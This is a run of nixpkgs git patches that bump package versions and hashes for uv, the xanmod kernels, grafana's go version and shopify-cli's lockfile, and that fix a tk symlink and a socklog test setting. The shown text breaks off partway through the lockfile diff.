+  version = "0.7.6";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-sE0d18lA9pA/EpzwXZ8RSucQ5eVtnkyoTzkrB5sAaO4=";
+    hash = "sha256-zFVVvPPb1UM71u9QFphp9YFWgmvYemAHouCttNnQWMk=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-xrusRs2PEEHzEOTvJ8vcpn/uxbeW5APcFbJZNZPzs1U=";
+  cargoHash = "sha256-aeOT6HO12J700CF7o2LiqUy6pl0Fzb0OLxHt+G4HW/k=";
 
   buildInputs = [
     rust-jemalloc-sys

From a3681d2d3a6d9c7082ac5379901e6a7462573632 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Thu, 22 May 2025 22:39:26 +0000
Subject: [PATCH 1693/4511] uv: 0.7.6 -> 0.7.7 (cherry picked from commit
 7f2c43ded7776fa7e59393eccde2764cf9c907e7)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index d039aad90e20..e72d680afdcb 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.6";
+  version = "0.7.7";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-zFVVvPPb1UM71u9QFphp9YFWgmvYemAHouCttNnQWMk=";
+    hash = "sha256-QWqN8MAIyr8ZvzdznpmR4KJNF0znEkBBb3ASBXBbqns=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-aeOT6HO12J700CF7o2LiqUy6pl0Fzb0OLxHt+G4HW/k=";
+  cargoHash = "sha256-HaalXfQO1cMDZM3jRa35fEU0zQ3BVD1JiuB/AIxcPc0=";
 
   buildInputs = [
     rust-jemalloc-sys

From ded79a6119f4ed1e457c2a0c218f0caf82aefc2c Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 24 May 2025 11:20:24 +0800
Subject: [PATCH 1694/4511] uv: 0.7.7 -> 0.7.8 (cherry picked from commit
 26bfe1bacce7af3171513adb148ab91d7c20575a)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index e72d680afdcb..97d2e0b41ab9 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.7";
+  version = "0.7.8";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-QWqN8MAIyr8ZvzdznpmR4KJNF0znEkBBb3ASBXBbqns=";
+    hash = "sha256-S5RmmFkFGeWc8fKR3gYLhIG1GQ50M4jdtgSqEV8I9oA=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-HaalXfQO1cMDZM3jRa35fEU0zQ3BVD1JiuB/AIxcPc0=";
+  cargoHash = "sha256-CShN2LuDYB1hKpZlTMCNHJcO2emHJdxaL3U8Mvahfb4=";
 
   buildInputs = [
     rust-jemalloc-sys

From 22cc2b507d76cdf062764b872a111deb535c4607 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Fri, 30 May 2025 21:21:40 +0000
Subject: [PATCH 1695/4511] uv: 0.7.8 -> 0.7.9 (cherry picked from commit
 b652bec5a97abb275fa67b82e9c9876181a701c2)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 97d2e0b41ab9..561c51a7d171 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.8";
+  version = "0.7.9";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-S5RmmFkFGeWc8fKR3gYLhIG1GQ50M4jdtgSqEV8I9oA=";
+    hash = "sha256-Q2HOR8kpHuCB4c61vS0yojyue5tYNCHpx/NuG0HGHl4=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-CShN2LuDYB1hKpZlTMCNHJcO2emHJdxaL3U8Mvahfb4=";
+  cargoHash = "sha256-oIgvufZsS65gL0SL8WQggjZ3UFPDfEpf0yM+kkkUiqg=";
 
   buildInputs = [
     rust-jemalloc-sys

From 524a55862fefed567ebce45756c285bb9d92eea1 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 4 Jun 2025 01:47:17 +0800
Subject: [PATCH 1696/4511] uv: 0.7.9 -> 0.7.10 (cherry picked from commit
 a714c291e04a18a610c2d646e9bfed99d80bff17)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 561c51a7d171..0c3e47e3f27e 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.9";
+  version = "0.7.10";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-Q2HOR8kpHuCB4c61vS0yojyue5tYNCHpx/NuG0HGHl4=";
+    hash = "sha256-NdePwYsAIphAJxtD+sCC7vSouWt+i+uPEp+b0zRlLg0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-oIgvufZsS65gL0SL8WQggjZ3UFPDfEpf0yM+kkkUiqg=";
+  cargoHash = "sha256-vPs6VwhnMsnoTpktdLlOdYcw1X35xN/alwZ5zEyHmEY=";
 
   buildInputs = [
     rust-jemalloc-sys

From 9c96fe8c317411b7eaf221255c1f0e216072a272 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Thu, 5 Jun 2025 09:34:37 +0200
Subject: [PATCH 1697/4511] uv: 0.7.10 -> 0.7.11

Diff: https://github.com/astral-sh/uv/compare/refs/tags/0.7.10...refs/tags/0.7.11

Changelog: https://github.com/astral-sh/uv/blob/0.7.11/CHANGELOG.md
(cherry picked from commit 6a42e78cc3be97f53ee4307c3c79bfaca4c02ece)
---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 0c3e47e3f27e..5ad45be9e22e 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.10";
+  version = "0.7.11";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-NdePwYsAIphAJxtD+sCC7vSouWt+i+uPEp+b0zRlLg0=";
+    hash = "sha256-kDcB1uH5cOjPkSb1NrKBkoHYdE6/V6xaZn8c7QzQQxY=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-vPs6VwhnMsnoTpktdLlOdYcw1X35xN/alwZ5zEyHmEY=";
+  cargoHash = "sha256-9O7XSicZwEuuT3dlaUPHx9he1kBFlZW5EK6FZPJ53uA=";
 
   buildInputs = [
     rust-jemalloc-sys

From f7270621978dffcc237ebef9675f1e36551f68b7 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 7 Jun 2025 13:31:37 +0800
Subject: [PATCH 1698/4511] uv: 0.7.11 -> 0.7.12 (cherry picked from commit
 7243228aef57e1ebd9a93f1af8c41cd82f903e2e)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 5ad45be9e22e..9f6b858dac38 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.11";
+  version = "0.7.12";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-kDcB1uH5cOjPkSb1NrKBkoHYdE6/V6xaZn8c7QzQQxY=";
+    hash = "sha256-0ZgsGADMTjVgKUKriBkq0AEldpFxmo/5MPLoShzREO4=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-9O7XSicZwEuuT3dlaUPHx9he1kBFlZW5EK6FZPJ53uA=";
+  cargoHash = "sha256-uvJQlTJrD5ZEbZykllBm/7LLdqOYFvkdNEZpSyVqct0=";
 
   buildInputs = [
     rust-jemalloc-sys

From bbd5169795509a6d3bc64a8b497e71c50940db97 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Fri, 13 Jun 2025 13:09:57 +0000
Subject: [PATCH 1699/4511] uv: 0.7.12 -> 0.7.13 (cherry picked from commit
 b0669e2ac0979e10d0d09d2e65c370bcb6178025)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 9f6b858dac38..67ecb7d16ff8 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.12";
+  version = "0.7.13";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-0ZgsGADMTjVgKUKriBkq0AEldpFxmo/5MPLoShzREO4=";
+    hash = "sha256-/K8zTExK6G/Rrh/4g2CLS4rBbQovb6DvAL8puS7eM5w=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-uvJQlTJrD5ZEbZykllBm/7LLdqOYFvkdNEZpSyVqct0=";
+  cargoHash = "sha256-GsjBTqV7GO1NNI/3EMXN0S0TwPvdtP/PTTv6NbGa9a4=";
 
   buildInputs = [
     rust-jemalloc-sys

From a97da80c673c759101b469f38b99a817d3b02b32 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 24 Jun 2025 11:13:22 +0800
Subject: [PATCH 1700/4511] uv: 0.7.13 -> 0.7.14 (cherry picked from commit
 864a6fdd7f577e2cab3c44866017b2f5ce84b5d8)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 67ecb7d16ff8..f13404ddefe8 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.13";
+  version = "0.7.14";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-/K8zTExK6G/Rrh/4g2CLS4rBbQovb6DvAL8puS7eM5w=";
+    hash = "sha256-RBcJuQ2NCFoNfhecR88fsKpdq0+YpvS7sSUkewIueEU=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-GsjBTqV7GO1NNI/3EMXN0S0TwPvdtP/PTTv6NbGa9a4=";
+  cargoHash = "sha256-pKANEM4XiRRRXY+AOym5mq2nrVa0iByKZ1UAkh80IrA=";
 
   buildInputs = [
     rust-jemalloc-sys

From 20586b38ea4add7e6776c6e7d4b6b511570fe63c Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 25 Jun 2025 23:16:47 +0800
Subject: [PATCH 1701/4511] uv: 0.7.14 -> 0.7.15 (cherry picked from commit
 f2729d852c04e595b3e7051f87f65403b695a8bf)

---
 pkgs/by-name/uv/uv/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index f13404ddefe8..da467bcc24c4 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -18,17 +18,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uv";
-  version = "0.7.14";
+  version = "0.7.15";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "uv";
     tag = finalAttrs.version;
-    hash = "sha256-RBcJuQ2NCFoNfhecR88fsKpdq0+YpvS7sSUkewIueEU=";
+    hash = "sha256-onBeTfzT9XhhiHAWcYMYMV8GRKudfPHRpuxg+2AVJls=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-pKANEM4XiRRRXY+AOym5mq2nrVa0iByKZ1UAkh80IrA=";
+  cargoHash = "sha256-03iQp/0HSqnXJU5PAdQNiTa+0UiKQKx5FiqvoaUeF+U=";
 
   buildInputs = [
     rust-jemalloc-sys

From 6c28aae2282a3aa490c78d1d1a346919e479f159 Mon Sep 17 00:00:00 2001
From: Rasmus Rendal <rasmus@rend.al>
Date: Fri, 9 May 2025 20:35:05 +0200
Subject: [PATCH 1702/4511] tk-9_0: Fix missing symlink

On version 9 and on, also include the tcl version in the library filename

Co-authored-by: Francesco Gazzetta <fgaz@fgaz.me>
(cherry picked from commit d3b9a9ba3d4e3a39cd3913ea35d2dfaafac33b7f)
---
 pkgs/development/libraries/tk/generic.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/tk/generic.nix b/pkgs/development/libraries/tk/generic.nix
index f5331c6fdaa1..5a010c7b12bd 100644
--- a/pkgs/development/libraries/tk/generic.nix
+++ b/pkgs/development/libraries/tk/generic.nix
@@ -38,10 +38,15 @@ tcl.mkTclDerivation {
   '';
 
   postInstall =
+    let
+      # From version 9, the tcl version is included in the lib filename
+      libtclstring = lib.optionalString (lib.versionAtLeast tcl.version "9.0") "tcl${lib.versions.major tcl.version}";
+      libfile = "$out/lib/lib${libtclstring}tk${tcl.release}${stdenv.hostPlatform.extensions.sharedLibrary}";
+    in
     ''
       ln -s $out/bin/wish* $out/bin/wish
       cp ../{unix,generic}/*.h $out/include
-      ln -s $out/lib/libtk${tcl.release}${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libtk${stdenv.hostPlatform.extensions.sharedLibrary}
+      ln -s ${libfile} $out/lib/libtk${stdenv.hostPlatform.extensions.sharedLibrary}
     ''
     + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
       cp ../macosx/*.h $out/include

From 08c1ec985358e4e0b383c499d32a64fad3e7f905 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 9 Jun 2025 15:22:31 -0400
Subject: [PATCH 1703/4511] socklog: set __darwinAllowLocalNetworking

(cherry picked from commit 38b0ac9a142e04cba7148b4e631696797599fb6a)
---
 pkgs/by-name/so/socklog/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/so/socklog/package.nix b/pkgs/by-name/so/socklog/package.nix
index 868bbca5aa5c..dd47ebfd69ce 100644
--- a/pkgs/by-name/so/socklog/package.nix
+++ b/pkgs/by-name/so/socklog/package.nix
@@ -50,6 +50,9 @@ stdenv.mkDerivation (finalAttrs: {
 
   doCheck = true;
 
+  # Needed for tests
+  __darwinAllowLocalNetworking = true;
+
   meta = {
     description = "System and kernel logging services";
     homepage = "https://smarden.org/socklog/";

From 42c0e58bba0a58e82d17f5e853100888f6039dab Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Sat, 28 Jun 2025 10:45:25 +0200
Subject: [PATCH 1704/4511] grafana: patch go version to be 1.24.3

---
 pkgs/servers/monitoring/grafana/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 30470122cb89..95440687fb96 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -29,14 +29,14 @@ let
   patchGoVersion = ''
     find . -name go.mod -not -path "./.bingo/*" -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.4" "go 1.24.4"
+        --replace-fail "go 1.24.4" "go 1.24.3"
     done
     find . -name go.work -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.4" "go 1.24.4"
+        --replace-fail "go 1.24.4" "go 1.24.3"
     done
     substituteInPlace Makefile \
-      --replace-fail "GO_VERSION = 1.24.4" "GO_VERSION = 1.24.4"
+      --replace-fail "GO_VERSION = 1.24.4" "GO_VERSION = 1.24.3"
   '';
 in
 buildGoModule rec {

From 19254c2b44528088376734b51a2c7a63fa03e3f3 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 27 Jun 2025 17:01:51 +0200
Subject: [PATCH 1705/4511] linux_xanmod: 6.12.34 -> 6.12.35

(cherry picked from commit ead088fa1bd4f4ddc7d06490d6979bb53e60da68)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 42d8b7cd3021..517d650c34b5 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.34";
-      hash = "sha256-pMc6WzpgxOlgwGfsXyI8404HfHcC52tvmBGoEQidtqc=";
+      version = "6.12.35";
+      hash = "sha256-cvpt18bGeTj6hcUnGLPGAHeWdWyRNh/NmXROBoRUhqw=";
     };
     main = {
       version = "6.14.11";

From 6756cbcbc77e302f09980865a6c12c1b559cacd1 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 27 Jun 2025 17:07:18 +0200
Subject: [PATCH 1706/4511] linux_xanmod_latest: 6.14.11 -> 6.15.4

(cherry picked from commit 2da8778b92452ccc781961c251bb9a5885c1a217)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 517d650c34b5..fcc627f23b49 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-cvpt18bGeTj6hcUnGLPGAHeWdWyRNh/NmXROBoRUhqw=";
     };
     main = {
-      version = "6.14.11";
-      hash = "sha256-NhJxhyC0HrduWfEl7TnDbGVhJk23L4rzNorPMtuMXyU=";
+      version = "6.15.4";
+      hash = "sha256-6c60l4bQm6zoWhFXD9KZObnIqV6gGFRt9EdKZmBAaq8=";
     };
   };
 

From 81786f24ec59bdbab20312b99a7f4236e3969554 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 08:05:34 +0000
Subject: [PATCH 1707/4511] shopify-cli: 3.69.3 -> 3.81.2

(cherry picked from commit 7baf0f4b9e651cc8d15e86f211d7df11bc04dabe)
---
 .../shopify-cli/manifests/package-lock.json   | 638 ++++++++++++++----
 .../sh/shopify-cli/manifests/package.json     |   4 +-
 pkgs/by-name/sh/shopify-cli/package.nix       |   4 +-
 3 files changed, 492 insertions(+), 154 deletions(-)

diff --git a/pkgs/by-name/sh/shopify-cli/manifests/package-lock.json b/pkgs/by-name/sh/shopify-cli/manifests/package-lock.json
index 7ed9710de6eb..02494775c047 100644
--- a/pkgs/by-name/sh/shopify-cli/manifests/package-lock.json
+++ b/pkgs/by-name/sh/shopify-cli/manifests/package-lock.json
@@ -1,40 +1,43 @@
 {
   "name": "shopify",
-  "version": "3.69.3",
+  "version": "3.81.2",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "shopify",
-      "version": "3.69.3",
+      "version": "3.81.2",
       "dependencies": {
-        "@shopify/cli": "3.69.3"
+        "@shopify/cli": "3.81.2"
       },
       "bin": {
         "shopify": "node_modules/@shopify/cli/bin/run.js"
       }
     },
     "node_modules/@ast-grep/napi": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi/-/napi-0.11.0.tgz",
-      "integrity": "sha512-b+R8h20+ClsYZBJqcyguLy4THfGmg2a54HgfZ0a1vdCkfe9ftjblALiZf2DsOc0+Si8BDWd09TMNn2psUuibJA==",
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi/-/napi-0.33.0.tgz",
+      "integrity": "sha512-6heRMmomhSD0dkummRQ+R4xWXXmc41OaDPoPI49mKJXPyvwJPdPZUcQjXdIitOVL4uJV+qM2ZBucDPENDBSixw==",
       "license": "MIT",
       "engines": {
         "node": ">= 10"
       },
       "optionalDependencies": {
-        "@ast-grep/napi-darwin-arm64": "0.11.0",
-        "@ast-grep/napi-darwin-x64": "0.11.0",
-        "@ast-grep/napi-linux-x64-gnu": "0.11.0",
-        "@ast-grep/napi-win32-arm64-msvc": "0.11.0",
-        "@ast-grep/napi-win32-ia32-msvc": "0.11.0",
-        "@ast-grep/napi-win32-x64-msvc": "0.11.0"
+        "@ast-grep/napi-darwin-arm64": "0.33.0",
+        "@ast-grep/napi-darwin-x64": "0.33.0",
+        "@ast-grep/napi-linux-arm64-gnu": "0.33.0",
+        "@ast-grep/napi-linux-arm64-musl": "0.33.0",
+        "@ast-grep/napi-linux-x64-gnu": "0.33.0",
+        "@ast-grep/napi-linux-x64-musl": "0.33.0",
+        "@ast-grep/napi-win32-arm64-msvc": "0.33.0",
+        "@ast-grep/napi-win32-ia32-msvc": "0.33.0",
+        "@ast-grep/napi-win32-x64-msvc": "0.33.0"
       }
     },
     "node_modules/@ast-grep/napi-darwin-arm64": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi-darwin-arm64/-/napi-darwin-arm64-0.11.0.tgz",
-      "integrity": "sha512-IxY3b102tNNm+cYLngZvUKzM1fNKCpDDWz69Yt+QnKCZNx10Hvd7mqrYE2aXTtkaNalmg/p1n6kMA8KmshGgCA==",
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-darwin-arm64/-/napi-darwin-arm64-0.33.0.tgz",
+      "integrity": "sha512-FsBQiBNGbqeU6z2sjFgnV6MXuBa0wYUb4PViMnqsKLeWiO7kRii5crmXLCtdTD2hufXTG6Rll8X46AkYOAwGGQ==",
       "cpu": [
         "arm64"
       ],
@@ -48,9 +51,9 @@
       }
     },
     "node_modules/@ast-grep/napi-darwin-x64": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi-darwin-x64/-/napi-darwin-x64-0.11.0.tgz",
-      "integrity": "sha512-6afu1fNUwTkyE7tknVx8+d+BPKVL3623QLI9uJbJ0SZQShzSb1+dRegT4NpzPaPtFdPkflh6KfvOQ4chTw8hUg==",
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-darwin-x64/-/napi-darwin-x64-0.33.0.tgz",
+      "integrity": "sha512-rWo1wG7fc7K20z9ExIeN6U4QqjHhoQSpBDDnmxKTR0nIwPfyMq338sS4sWZomutxprcZDtWrekxH1lXjNvfuiA==",
       "cpu": [
         "x64"
       ],
@@ -63,10 +66,58 @@
         "node": ">= 10"
       }
     },
+    "node_modules/@ast-grep/napi-linux-arm64-gnu": {
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-linux-arm64-gnu/-/napi-linux-arm64-gnu-0.33.0.tgz",
+      "integrity": "sha512-3ZnA2k57kxfvLg4s9+6rHaCx1FbWt0EF8fumJMf5nwevu7GbVOOhCkzAetZe80FBgZuIOSR4IS2QMj9ZHI0UdQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/@ast-grep/napi-linux-arm64-musl": {
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-linux-arm64-musl/-/napi-linux-arm64-musl-0.33.0.tgz",
+      "integrity": "sha512-oUGZgCaVCijFgvC+X52ttgoWUqgrIsSVJZgn+1VBY3n4mpzcoYAghFomSUbRTBUL2ebvZweA33Klqks4okY61w==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10"
+      }
+    },
     "node_modules/@ast-grep/napi-linux-x64-gnu": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi-linux-x64-gnu/-/napi-linux-x64-gnu-0.11.0.tgz",
-      "integrity": "sha512-Rm0biBfIxg14tL9yAMxW6RngAEA2vYLIq1guff6Uc9Vb7yQ3HE8dnW8WAysyieIqXdVkraTTV2ZwfoUqeKfc1Q==",
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-linux-x64-gnu/-/napi-linux-x64-gnu-0.33.0.tgz",
+      "integrity": "sha512-QTAkfxQSsOGRza0hnkeAgJDQqR00iDerRNq42dOGIzgF+Kse491By3UmBEMG4oCbv17yYcBBlknQkzKSKtigjw==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/@ast-grep/napi-linux-x64-musl": {
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-linux-x64-musl/-/napi-linux-x64-musl-0.33.0.tgz",
+      "integrity": "sha512-PW6bZO7MyQsBNZv0idI/Ah6ak66T8LqZ21wBGjtQp9NDGViOtkLeu+eJJGaZjMqUdidKHKgmMKXksZHl2m8ulQ==",
       "cpu": [
         "x64"
       ],
@@ -80,9 +131,9 @@
       }
     },
     "node_modules/@ast-grep/napi-win32-arm64-msvc": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi-win32-arm64-msvc/-/napi-win32-arm64-msvc-0.11.0.tgz",
-      "integrity": "sha512-TfX6KXxtXGQS/sWzJ1wWwWbpm3OJWpqiWGttpifSGs6DJmzfwuK0b63yX5JlhNXeUVqXkZyfYqIh5RPIPOtXSA==",
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-win32-arm64-msvc/-/napi-win32-arm64-msvc-0.33.0.tgz",
+      "integrity": "sha512-ijmFQcFc32JOIQlSfnhDJpb3qFb2RhrRqfeY0EHHN1xRSGwZHfsHTSS66nKR2sREmxTIMgxXOtylKicbyyMVKA==",
       "cpu": [
         "arm64"
       ],
@@ -96,9 +147,9 @@
       }
     },
     "node_modules/@ast-grep/napi-win32-ia32-msvc": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi-win32-ia32-msvc/-/napi-win32-ia32-msvc-0.11.0.tgz",
-      "integrity": "sha512-oQGbxYYfQn6LPbMKQ1T2cjQ+DelYDO06w/gFPmdWrE6M/YUIv+KfKdEscBkr3ehJyvXZW5h3vmxuApiMuCyfAQ==",
+      "version": "0.33.0",
+      "resolved": "https://registry.npmjs.org/@ast-grep/napi-win32-ia32-msvc/-/napi-win32-ia32-msvc-0.33.0.tgz",
+      "integrity": "sha512-NNIb2VK3Z2BwKp0QJSw8gkhwOUp85SgTsxJ38p+wIUAA/KzAKCJOmyOaZ301qGHt4gL+jTHgTIvJJX+9eT/REg==",
       "cpu": [
         "ia32"
       ],
@@ -112,9 +163,9 @@
       }
     },
     "node_modules/@ast-grep/napi-win32-x64-msvc": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npmjs.org/@ast-grep/napi-win32-x64-msvc/-/napi-win32-x64-msvc-0.11.0.tgz",
-      "integrity": "sha512-qrXI4+S8W7IF6e1nlDYX2KfdzxGHyAOj5kGvWk+TqBuAnA0rWQ513hJzdviiGpbB5VPnJkEhOVsDets8acKd6w==",
+      "version": "0.33.0",
